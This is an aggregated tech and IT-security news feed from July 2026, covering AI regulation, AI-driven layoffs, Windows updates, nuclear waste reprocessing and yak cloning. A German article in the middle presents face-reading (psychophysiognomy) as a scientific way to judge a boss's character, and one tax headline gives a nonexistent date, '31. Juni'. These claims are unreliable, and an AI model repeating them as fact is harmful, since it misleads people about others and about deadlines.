Team IT Security - 📰 Alle Kategorien

Windows Explorer: 30% schneller beim Löschen dank NTFS-Optimierung - Börse Express

Sun, 26 Jul 2026 14:55:41 +0200

Windows Server 2025: Strengere Aktivierung ab August. Auf der Serverseite bereitet Microsoft einen bedeutenden Sicherheitsschritt vor. Ab August ...

A Promising Process For Nuclear Fuel Re-use and Disposal?

Sun, 26 Jul 2026 13:48:14 +0200

A Canadian lab has run a chemical process on real spent nuclear fuel "and pulled out 90% of the long-lived danger in 24 hours, the part that forces a burial site to last 100,000 years," notes the blog Autonocio, "with the leftovers meant to fuel a reactor." The standard plan for spent nuclear fuel is to wait it out. You pull the used bundles from a reactor, sit them in a pool of water for seven to ten years while the heat and radiation come down, seal them in concrete casks, and look for somewhere deep and geologically dull to leave them for the next hundred thousand years. Canada has been hunting for that burial site since the 1980s and still doesn't have one in the ground. A company in Saint John, New Brunswick thinks most of what makes that waste dangerous never needed to go in the ground at all. Moltex Energy Canada says a chemical process it calls WATSS can strip 90% of the long-lived material out of used Canada Deuterium Uranium [CANDU] fuel in 24 hours, and that the concentrated leftovers become fuel for a reactor it wants to build on the same site. The recovery step isn't a slide in a pitch deck anymore. In 2025, World Nuclear News reported that Canadian Nuclear Laboratories ran the process on real used fuel from a commercial Canadian reactor and confirmed the 90% figure. None of it is generating power yet. What exists is a validated chemical step and a reactor design waiting in line at a regulator. The rest is a 2030s problem. "The chemistry has a lab result behind it. The reactor does not exist..." the article points out. "Moltex is aiming to have its first WATSS and SSR-W units running at Point Lepreau by the early-to-mid 2030s... Not everyone buys the pitch. Critics have argued the reprocessing creates its own stream of byproducts, that the economics are unproven, and that a single site's stockpile is finite." But Moltex "isn't alone in trying to burn nuclear waste instead of bury it," the article notes, with Switzerland and Denmark "chasing the same goal a different way." Switzerland's Transmutex drives a subcritical reactor with a particle accelerator, feeding it spent fuel alongside thorium... Denmark's Copenhagen Atomics is building a thorium molten-salt reactor that fits inside a shipping container and runs on the leftovers from conventional plants. Thanks to long-time Slashdot reader kwelch007 for sharing the article.

Microsoft in 2026: Was für den Privatnutzer bleibt – eine Einschätzung

Sun, 26 Jul 2026 13:15:13 +0200

Microsoft macht schon seit einigen Monaten einen weitreichenden Kulturwandel durch, der auch das ohnehin fragliche Verhältnis zum Privatnutzer neu ausrichtet. Selbstredend waren die Redmonder nie wirklich eine auf Consumer fokussierte Technikschmiede, so wie das etwa bei Apple der Fall ist, aber die zunehmende Transformation vom Cloudriesen zur AI First-Company bringt auch für uns große Veränderungen […]

Der Beitrag Microsoft in 2026: Was für den Privatnutzer bleibt – eine Einschätzung erschien zuerst auf Dr. Windows.

Crime blotter: A second arrest in the 2025 FedEx robbery

Sun, 26 Jul 2026 13:08:48 +0200

A woman who stole from a Wendy's returned for her AirPods, a shooting followed an argument about an Apple Watch, and another FedEx robbery in Memphis, all in this week's Apple Crime Blotter.

AirPods 4

The latest in an occasional AppleInsider feature, looking at the world of Apple-related crime.

Continue Reading on AppleInsider | Discuss on our Forums

WhatsApp: Diese Änderung bei den Emoji-Reaktionen würde mich sehr glücklich machen

Sun, 26 Jul 2026 11:21:52 +0200

Daumen hoch, Herz, Lachtränen, erstauntes Gesicht, trauriges Gesicht, gefaltete Hände: Wenn ihr in WhatsApp eine Nachricht länger antippt, schlägt euch die App sechs Emoji vor,…

Dieser Artikel WhatsApp: Diese Änderung bei den Emoji-Reaktionen würde mich sehr glücklich machen erschien zuerst auf SmartDroid.de.

Hundreds asked ChatGPT for poison and bioweapon recipes and some got step-by-step high school level guides

Sun, 26 Jul 2026 10:54:13 +0200

In summer 2025, OpenAI internally flagged GPT-5 as high-risk because it helped users create biological hazards, but downgraded the model's risk rating that fall. According to the Wall Street Journal, some users got step-by-step instructions for making poisons and biological weapons. Hundreds asked for that kind of information.

The article Hundreds asked ChatGPT for poison and bioweapon recipes and some got step-by-step high school level guides appeared first on The Decoder.

Windows 11: Copilot-Taste lässt sich jetzt deaktivieren oder neu belegen - it boltwise

Sun, 26 Jul 2026 10:36:45 +0200

... Windows Server 2025 erste Bereitschaftsmeldungen für TPM-basierte Nachweise anzeigen, und diese Anforderung wird voraussichtlich mit zukünftigen ...

Week in review: ServiceNow pre-auth RCE exploited in the wild, Hugging Face breached

Sun, 26 Jul 2026 10:02:10 +0200

Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: AI agents are still logging in as humans Most large companies run more than one AI platform at the same time. Developers pull up coding assistants, marketing teams lean on writing tools, and analysts query enterprise search across separate vendors. Single-provider setups keep giving way to mixed stacks as companies keep their options open. PR3TACK preemptive framework maps threats before … More →

The post Week in review: ServiceNow pre-auth RCE exploited in the wild, Hugging Face breached appeared first on Help Net Security.

Am 31. Juni ist Schluss: Wer die Steuererklärung 2025 jetzt nicht abgibt, zahlt mindestens 25 Euro pro Monat

Sun, 26 Jul 2026 10:00:21 +0200

Millionen Steuerzahler müssen ihre Erklärung für 2025 bis Ende Juli beim Finanzamt einreichen, danach wird automatisch ein Verspätungszuschlag fällig. Dabei lohnt sich die Abgabe! Dieser Artikel wurde einsortiert unter Download, Finanzen & Steuern.

GitHub Code Expired Sign-In Loop in Microsoft Scout [Fix]

Sun, 26 Jul 2026 06:36:54 +0200

Microsoft Scout is Microsoft’s latest agentic tool, offering an always-on way to automate workflows across Microsoft 365 and your local environment. However, when signing in to this tool, several users have reported the “GitHub code expired” sign-in loop error. Since Scout requires a GitHub Copilot Business or Enterprise license linked to your account, this error becomes […]

This article GitHub Code Expired Sign-In Loop in Microsoft Scout [Fix] first appeared on TheWindowsClub.com.

So lesen Sie im Gesicht Ihres Chefs

Sun, 26 Jul 2026 06:33:30 +0200

Indem Sie die Gesichtsstruktur Ihres Chefs analysieren, erkennen Sie, was ihn antreibt und wie Sie Konflikte vermeiden können.

PeopleImages.com – Yuri A – Shutterstock 2545291163

Für Laien mag das wie ein Märchen klingen, aber: Das Gesicht eines Menschen ist wie ein offenes Buch. Es erzählt von Charaktereigenschaften, Denkmustern und natürlich auch vom Führungsstil. Die Wurzeln dieser Wissenschaft der Psychophysiognomie reichen Jahrtausende zurück und werden heute in vielen Bereichen genutzt, von der Kriminalistik bis zur Persönlichkeitsentwicklung.

Das Bewegungsnaturell

Die Formensprache eines Gesichts gibt wertvolle Hinweise. Markante, eckige Formen wie ein breiter Kiefer und dominante Wangenknochen deuten auf das Bewegungsnaturell hin. Solche Chefs sind „Macher“, lieben Herausforderungen und handeln zielstrebig. Ihr Führungsstil ist dynamisch und durchsetzungsstark.

Doch es gibt eine Kehrseite: Diese Persönlichkeiten können dominant wirken und wenig Geduld aufbringen. Ihre direkte Art fordert klare Kommunikation und schnelle Ergebnisse.

Umgangstipp: Begegnen Sie solchen Chefs mit gut strukturierten Vorschlägen, ohne lange Erklärungen. Struktur und Fakten statt Emotionen sind hier der Schlüssel. Respektieren Sie seine Entscheidungsfreude, aber zeigen Sie, dass Sie selbst eine starke Position vertreten können.

Das Empfindungsnaturell

Chefs mit feinen, zarten Gesichtszügen und großen Augen sind dem Empfindungsnaturell zuzuordnen. Diese Persönlichkeiten sind kreativ, emphatisch und feinfühlig. Sie legen Wert auf ein harmonisches Arbeitsumfeld, lieben den Dialog und entwickeln kreative Lösungen gemeinsam mit ihrem Umfeld.

Aber aufgepasst: Ihre hohe Sensibilität macht sie empfänglich für Konflikte oder Spannungen. Kritik sollte stets diplomatisch formuliert werden, da sie schnell als persönliche Ablehnung wahrgenommen werden kann.

Umgangstipp: Bauen Sie Vertrauen auf, zeigen Sie Wertschätzung und Respekt und präsentieren Sie Ideen als Teil eines gemeinsamen Prozesses.

Das Ernährungsnaturell

Schließlich gibt es Chefs, deren Gesichtszüge durch runde Formen geprägt sind – typische Zeichen des Ernährungsnaturells. Sie schätzen Stabilität, Behaglichkeit und klare Strukturen. Ihr Führungsstil ist pragmatisch und auf langfristige Sicherheit ausgerichtet. Sie sind ausgezeichnete Netzwerker und lieben es, Ressourcen zu planen und zu verteilen.

Achtung: Ihre Komfortzone kann manchmal eine gewisse Trägheit mit sich bringen und sie neigen dazu, Veränderungen nur sehr langsam zu akzeptieren. Sie schätzen bewährte Lösungen und haben eine Vorliebe für Traditionen.

Umgangstipp: Argumentieren Sie pragmatisch und betonen Sie die Vorteile von Stabilität und Sicherheit. Geben Sie ihnen die Zeit, neue Ideen zu durchdenken und zeigen Sie vor allem klar auf, wie einfach und sinnhaft die Umstellung zum langfristigen Erfolg beiträgt.

Die Mischung macht’s: Kombinierte Naturelle und ihre Ansprechbarkeit

In der Realität sind die wenigsten Menschen einem einzigen Naturell klar zuzuordnen. Häufig vereinen Gesichter Merkmale von zwei – manchmal sogar drei – Naturellen. So treffen beispielsweise die Zielstrebigkeit des Bewegungsnaturells und die Empathie des Empfindungsnaturells aufeinander oder die Stabilität des Ernährungsnaturells wird durch kreative Aspekte des Empfindungsnaturells ergänzt.

Viele Führungspersönlichkeiten sind übrigens klare Bewegungs-Ernährungs-Naturelle, da der ihnen innewohnende Pragmatismus und die Zielorientiertheit durch die Dynamik des Bewegungsnaturells angeschoben wird.

Tipp: Achten Sie darauf, welche Merkmale stärker ausgeprägt sind, und gestalten Sie Ihr Verhalten und Ihre Kommunikation entsprechend, das eröffnet ganz neue Möglichkeiten der Zusammenarbeit.

„Du“-Denken oder „Ich“-Denken: Welcher Typ ist Ihr Chef?

Ein weiterer Aspekt der Gesichtsdeutung ist, ob jemand im „Ich-“ oder „Du-Modus“ agiert. Eingefallene Wangen und eine große Nase deuten auf ein „Ich“-Denken hin – ergebnisorientiert und zielgerichtet, aber weniger mitarbeiterbezogen. Eine hohe Stirn, volle Wangen und offene Augen signalisieren dagegen den „Du-Modus“. Solche Chefs schätzen Teamgeist und gemeinsame Lösungen.

Tipp: Stimmen Sie Ihre Kommunikation darauf ab. „Ich“-Denker schätzen klare Ergebnisse, während „Du“-Denker einen wertschätzenden Dialog bevorzugen.

Nutzen statt Urteilen: Wie Gesichtslesen Ihre Arbeitsbeziehung verbessert

Die Psychophysiognomie ist keine Wahrsagerei, sondern eine klare Methode, um Menschen besser zu verstehen. Indem Sie die Gesichtsstruktur Ihres Chefs analysieren, erkennen Sie, was ihn antreibt und wie Sie Konflikte vermeiden können. Dieses Wissen hilft, Vertrauen aufzubauen und effektiver zu agieren.

Fakt ist, das Gesichtslesen schärft den Blick für die Einzigartigkeit jedes Menschen, reduziert Missverständnisse und verbessert die Zusammenarbeit. In einer Welt, die stark von zwischenmenschlichen Verbindungen abhängt, ist dies ein unschätzbarer Vorteil.

CVE-2025-62184 | Pegasystems Pega Infinity up to 25.0.x User Interface cross site scripting

Sat, 25 Jul 2026 21:21:44 +0200

A vulnerability classified as problematic has been found in Pegasystems Pega Infinity up to 25.0.x. The impacted element is an unknown function of the component User Interface. This manipulation causes cross site scripting. This vulnerability appears as CVE-2025-62184. The attack may be initiated remotely. There is no available exploit. It is recommended to upgrade the affected component.

China is Creating a Herd of 100 Elite Yak Clones

Sat, 25 Jul 2026 20:01:07 +0200

CNN reports on yaks "designed and cloned" in secretive, high-altitude labs in Tibet — 2.4 miles (4,000 meters) above sea level. They're a critical part of the local economy, and researchers "hope to create an 'elite' herd of super-yaks, healthier and more fertile than their predecessors." Both domestic yaks and their wild cousins have been facing threats for years, with some rare subspecies at risk of disappearing entirely. Authorities in the southwestern Chinese region have poured tens of millions of dollars into boosting the yak industry in recent years — and they hope cloning can help. The first yak clone came in July 2025, Chinese state media hailing it as a breakthrough achievement that combined cloning with gene selection. More clones were born this spring — and researchers are now aiming to create a herd of more than 100 "elite" yak clones by 2028, boasting desired traits like faster growth and larger size. "This shows the technology has moved from a one-time success to a stable, mass-scale application," said Fang Shengguo, the project's scientific lead and director of the State Conservation Center for Gene Resources of Endangered Wildlife, according to state-run news agency Xinhua... Many experts acknowledge there are legitimate arguments for using cloning in conservation, and for gene selection in farming. But the ethical waters are murky, and any such project should have high levels of public transparency and accountability, said Lisa Moses, a veterinarian and bioethicist at Harvard Medical School. So far, much of the yak cloning project remains mysterious, with information largely limited to glowing state-media coverage... [S]ome scientists say these projects reduce our sense of urgency toward fixing the environment, and that we can't simply churn out clones while the planet burns. To truly enact change, they say, we have to continue addressing the root cause of the problem — restoring degraded habitats, lowering carbon emissions, cracking down on poaching, and more. But for others, "there is a strong feeling ... that traditional conservation is essentially failing now," Moses said. "What we've been doing for the last 100 years to try to stave off ecological destruction is not working.... The argument is, we don't have a choice," she added. "If we want to try to do something that will actually make a difference, we need to use these technologies, specifically synthetic biology, to essentially override evolution and change the fitness of the species for the environment that they live in." "History is littered with good intentions in the environment gone wrong," Moses said, "and I would argue that these technologies have even more unknowns than ones that we previously employed." The article points out that the number of wild yaks "dropped more than a third in the last 30 years, with just 10,000 to 20,000 individuals left, according to the Wildlife Conservation Society." The yaks are threatened by climate change and habitat degradation, "with warmer temperatures bringing invasive plant species and increased competition for resources... in one of the world's most inhospitable terrains."

Opus 5 may have solved browser-based prompt injection, the biggest security flaw haunting AI agents

Sat, 25 Jul 2026 19:50:24 +0200

Opus 5 combined with Auto Mode hits a zero percent prompt injection success rate for browser agents across 129 test scenarios. Without those extra protection layers, the rate is 3.7 percent. If these numbers hold up in practice, Anthropic may have cracked one of the biggest security problems facing AI agents that operate in browsers.

The article Opus 5 may have solved browser-based prompt injection, the biggest security flaw haunting AI agents appeared first on The Decoder.

The EU’s AI transparency deadline is weeks away. Is your enterprise ready?

Sat, 25 Jul 2026 19:50:13 +0200

Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.

To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.

After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”

Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”

Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.

“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”

A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.

Transparency requirements

The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.

“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.

Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.

Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.

AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.

The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.

Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.

However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”

A consistent code of practice

Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.

Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.

Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.

Criteria for compliance

Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.

B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.

Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.

“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.

Creating a transparency pipeline

Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.

Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.

The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.

“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.

Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”

Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.

His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.

Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.

To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.

“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.

This article originally appeared on CIO.com.

Apple could ‘run the table’ on AI if it does things right

Sat, 25 Jul 2026 19:50:13 +0200

Looking ahead just a short time, Apple could hold a powerful position in AI where it most makes sense: deployment.

Not only will the company offer up its own AI models for the kind of tasks millions use ChatGPT to do today, but it will provide more sophisticated on-device agentic models to help users get things done through Siri AI.

Apple also offers limited capacity for more complex tasks through Private Cloud Compute, and, in partnership with the likes of Google in the US and Alibaba in China, the company is giving users a trusted conduit through which to access even more sophisticated AI services.

Deeply deployable

Critics can say it took Apple a long time to get to this point, but they also seem to think the company has finally got the mix right with its series 27 operating systems. Arriving late to a party doesn’t mean you won’t shine once you get there.

Apple is also coming up the inside lane around frontier AI, with iterative OS and hardware enhancements that mean its devices become increasingly effective for Edge AI use cases, on device — no cloud service required.

The company appears to be digging down into those use cases. Mark Gurman at Bloomberg recently predicted that future M7 Ultra Macs will support as much as 1.5TB RAM, making these systems more than capable of running full weight frontier models in people’s offices, colleges, and homes.

While that does assume the AI-flationary memory market can supply that much RAM at prices humans can afford, it is also true that people are already running AI clusters using off-the-shelf Mac minis networked over Thunderbolt cables. It’s no stretch to believe this will continue to be the case, and that it will even broaden as the power/performance offered at the high end grows.

What’s wrong with good enough?

When combined with open AI stacks, particularly newly emerging varieties, Apple’s platforms should become leading contenders for private AI services and edge AI. Many business users will leap at the chance to offer their workers powerful, self-hosted, private AI services using one or more daisy-chained Mac Studios or Mac minis. The recent craze in deployment of both Macs to support OpenClaw instances shows they already are.

Ultimately, these different slices of momentum mean I agree with investor Jason Calacanis that Apple is in position to apply a great deal of pressure on OpenAI and Claude just by putting models on their devices.

It’s also worth thinking about how people use AI today. How many of the queries made in the world right now constitute relatively simple tasks that could be transacted by on-device AI, such as the emerging new version of Apple Intelligence or even smaller LLM models running on device? You can even run PrismML’s 1-bit, 27-billion parameter Bonsai on an iPad using the Locally app, and that’s in the here and now.

What happens? Pretty soon you’ll find people recognize that they can already run the vast majority of their AI-augmented workflows using services they have on their existing device or can access on their on-prem Mac set-ups. And, of course, as people get used to running small tasks locally and larger tasks on premises, the actual space in which they need to turn to cloud-based frontier models will erode. That’s even as companies like PrismML work towards slimming down full-weight models so they don’t need to run on a server at all.

“It’s going to be wild when people have unlimited tokens on their desks,” said Calacanis in a podcast round table discussion.

Who has the most to lose?

The current incarnations of AI felt like they came from nowhere. Most people weren’t aware of the technology until returning to work after the 2022 holiday season. Since then, the industry has proliferated with dozens of competing models, most recently including powerful but affordable frontier models such as Qwen and Kimi.ai.

These models aren’t necessarily all as good as one another, but in many cases for much of what we do, we’ll find them to be good enough. That’s an existential crisis for some, as industry observers now think the inevitable pricing pressure means some services might have over-invested in capacity before finding any way to turn a profit.

Those profit-seeking services are the ones with the most to lose as Apple extends its hardware advantage, democratizing AI access for all while providing platforms suitable for edge AI, on-premises AI, private AI, and even AI access using third-party services. (The need for the latter will shrink as the capabilities of the former get better.)

Cupertino rising

What does this all mean? While the industry remains young, it is already fragmenting. And striding through the dust of that process comes Apple, equipped with the hardware, software, and approach to build its business even as the enterprise of first mover AI services erodes.

You can follow me on social media! Join me on BlueSky, LinkedIn, Mastodon and subscribe to my daily Apple-related news summaries at The Core.

US AI testing institute chief steps down within three months

Sat, 25 Jul 2026 19:50:12 +0200

The head of the US government’s AI testing institute, Chris Fall, has resigned about three months after taking charge of the Center for AI Standards and Innovation (CAISI), the federal organization responsible for evaluating advanced artificial intelligence models for safety and security.

Current National Institute of Standards and Technology NIST Director Arvind Raman will serve as acting CAISI Director following Fall’s departure while continuing to oversee the Commerce Department office responsible for the institute, the Daily Signal reported, citing two people familiar with the matter.

A Commerce Department spokesperson who spoke to the publication did not disclose a reason for the resignation.

Fall assumed leadership of CAISI in April after the Trump administration reorganized the former US AI Safety Institute under NIST. The institute develops methodologies for evaluating frontier AI models and works with AI developers on voluntary technical assessments covering areas such as cybersecurity, model misuse, reliability and other risks associated with increasingly capable AI systems.

The leadership change comes as governments and AI companies continue developing technical approaches for evaluating frontier AI models while enterprises expand deployments of generative AI and agentic AI across business operations.

In recent months, the Commerce Department has taken a more active role in AI policy involving advanced models, placing greater attention on how the federal government evaluates technologies with potential national security implications.

Continuity matters more than personalities

CAISI works with AI developers such as Anthropic, Google’s DeepMind and OpenAI on voluntary evaluations of frontier AI models and develops methodologies for testing model capabilities and risks. The institute does not regulate AI developers or certify commercial AI systems.

For enterprises, those evaluations are one source of technical information alongside vendors’ own testing, third-party security assessments and internal AI governance programs.

Sanchit Vir Gogia, chief analyst at Greyhound Research, said enterprises should focus less on the individual leading the institute and more on whether its technical work continues with the same level of consistency and transparency.

“Leadership churn at CAISI weakens the signal long before it weakens the science,” Gogia said. “The testing has not stopped. Its authority simply does not travel as cleanly once the leadership does not.”

According to Gogia, the more important question for enterprises is not whether the institute’s evaluation work will continue but whether the processes supporting those evaluations remain stable.

“The instinct is to ask whether the pipeline is breaking,” he said. “The more useful question is where the pipeline now sits.”

Enterprises still carry the burden of AI governance

Gogia said organizations should continue treating government-led AI evaluations as one input into their governance processes rather than as evidence that a model is inherently safe for enterprise deployment.

“A government evaluation was always a signal, never a certificate,” he said. “A signal loses value the moment its issuer becomes unpredictable.”

He said enterprises should instead monitor whether CAISI maintains consistent evaluation methodologies, continues publishing technical findings and preserves continuity within its research teams under interim leadership.

“The name on the door is not the signal. The behaviour underneath it is,” Gogia said.

Gogia also cautioned against linking Fall’s resignation to recent Commerce Department actions involving AI policy or export controls, noting that there is no public evidence connecting the two.

“CAISI evaluates; it does not enforce export controls, because it holds no such power,” he said. “This is not a testing body reaching for enforcement. It is enforcement reaching past the testing body.”

With Raman assuming the role on an interim basis, the next significant milestone for enterprises will be the appointment of a permanent director, and whether the institute’s evaluation programs continue without disruption, the analyst said.

Gogia said the successor’s mandate may prove more important than the individual selected.

“A CAISI result is not a safe harbour,” he said. “It informs an obligation; it does not discharge one.” NIST did not immediately respond to a request for comment.

OECD: Physical labor isn’t immune from AI disruptions

Sat, 25 Jul 2026 19:50:12 +0200

Jobs involving physical labor are at high risk of disruption from automation, with new technologies such as AI robots becoming more prevalent, according to a recent study by the Organization for Economic Co-operation and Development (OECD). That means workers in construction and extraction, farming, fishing, forestry, production and material transportation could be affected by fast-moving technology changes.

“Routine and low-skilled jobs are at higher risk,” the Paris-based public policy group said, adding that “overall, jobs requiring non-routine cognitive, social and creative skills are less susceptible to automation.”

The kinds of creative and cognitive jobs still thought to be less exposed to automation include social work and community service roles.

OECD also said management jobs — which often require workers to devise creative answers to solve problems — fall within the creative and cognitive category. “While AI has made some high-skill job requirements more susceptible to automation, many critical skills in these roles remain difficult to automate,” OECD said.

The same still holds true for some physical and manual labor jobs – including cleaners, agricultural workers, food-prep assistants, and laborers — which are less exposed to the affects of AI, OECD said.

But people who work in programming, translating and interpretation positions could find their work affected by the quick rise of AI tools and services. According to the organization, global AI uptake rose from 7% in 2021 to 20% in 2025.

“In these occupations, GenAI could perform a significant share of tasks at least twice as fast today or in the near future,” OECD said.

The effects of the AI boom are not always uniform across industries or regions. In a separate 2026 Employment Outlook study released by the group, exposure to disruption from generative AI (genAI) ranges from about 16% in some areas to more than 70% elsewhere, depending on industries and occupations.

Numerous research firms have said in recent years that AI is driving short-term job losses, though tech industry experts and analysts have argued AI will also create new careers and jobs as agentic AI takes over low-skilled work.

AI technology has become so ubiquitous that it’s been compared to electricity — virtually all companies will need it or at least know how to use it. But it’s adoption has been hindered at times as companies struggle to find ROI from its use, and by regulatory and ethical hurdles.

In the US, AI blamed for June job losses

According to a Challenger, Gray & Christmas study released earlier this month, AI was cited as the top reason for job cuts in June. The outplacement firm said employers cut 45,849 job cuts in June, of which 14,029 were attributed to AI, with the tech industry leading the cuts.

“Tech remains the epicenter of this year’s cuts,” Challenger said. “AI is the dominant force as companies are restructuring around it, automating roles, and reallocating budgets toward new capabilities. The sector is being reshaped in real time.”

Overall, AI has been responsible for 173,568 job cuts since 2021, the company said.

AI is hurting jobs in customer service, internal reporting, telecommunications, and hosting automation, said Victor Janulaitis, a staffing consultant who was formerly CEO at Janco Associates Inc.

“C-level executives continue to be focused on eliminating ‘non-essential’ managers, staff, and services,” he said. “Coders and developers have limited opportunities with legacy applications.”

While jobs in the IT sector overall are declining, current hiring tends to skew in the direction of people with AI skills. A report this month by CompTIA put job listings with AI skills at around 500,000, which is close to double the number in January.

“Employers in other industries are accelerating digital transformation initiatives and moving from AI experimentation to implementation,” said Seth Robinson, CompTIA’s vice president for industry research.

That view dovetails with what ManpowerGroup, the recruitment firm, is seeing; demand for AI-related skills has nearly doubled over the past year, said Ger Doyle, regional president of North America at ManpowerGroup.

That growth extends well beyond traditional technology roles as companies move from experimenting to AI deployments at scale, Doyle said. “We’re seeing it influence hiring across occupations ranging from data science and engineering to project management and operational roles,” he said.

Monday.com cuts 20% of its workforce to restructure for the AI era

Sat, 25 Jul 2026 19:50:09 +0200

Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.

Monday.com co-founder and co-CEO Eran Zinman today announced the “very difficult decision” to reduce the AI work platform company’s global workforce by about 20%, or 620 people.

The move has nothing to do with increasing margins or replacing humans with AI, he insisted in his post on LinkedIn; rather, it’s a calculated decision to trim down and hone the company’s focus as AI becomes integral to day-to-day workflows.

“This is not a distress signal; it is a deliberate reset, disclosed with its price attached,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. “The industry has quietly swapped the meaning of productivity, and this filing is the clearest exhibit yet.”

A ‘significant opportunity’ in technology

In a SEC filing this week, monday.com said its restructuring plan reflects the “ongoing transformation of its product, marketing, and go-to-market strategy.” The move is intended to support a “leaner, more focused operating model” as the company continues to invest in its AI-driven strategy.

Zinman noted in his post that the company has shifted to “doing the work with AI and not just managing it,” and is focused on building environments where “people and AI agents [work] together in one workspace.”

In recent months, monday.com has evolved its products, strategy, and the way it serves its customers, and Zinman contended that “the organization we built for our previous chapter is not the organization that fits the new AI era.” Monday.com needs to “execute more decisively,” take on new challenges, and quickly respond to market changes, he said.

“We have never seen such a significant opportunity in software, driven by such exciting technology,” Zinman noted. He emphasized that the reduction is not to replace people with AI, nor to improve margins; the “vast majority” of savings will be reinvested into talent, products, and AI.

The restructuring will result in a “flatter organization” with fewer management layers and smaller, more autonomous teams, and monday.com also has a new go-to-market model, Zinman explained. Customers expect “deeper implementation support” as they deploy AI, and the company will work more closely with customers, increase its on-site presence, create new roles, and “adapt many existing ones.” In its SEC filing, the company said it expects to continue hiring in “key strategic areas” throughout 2026.

Workers will be expected to work better, “not harder,” Zinman noted. He pointed to several past examples where work could have been done in a few days, but instead took many months with “multiple meetings and endless friction.”

“This wasn’t people’s fault and everyone was frustrated by this,” he said. “Our new org changes ownership to allow people to make decisions and move fast.”

A spokesperson for monday.com declined to comment further on the staff reductions.

Monday.com’s key market advantages

Monday.com certainly isn’t struggling; the company expects 19% to 20% year-over-year growth in 2026.

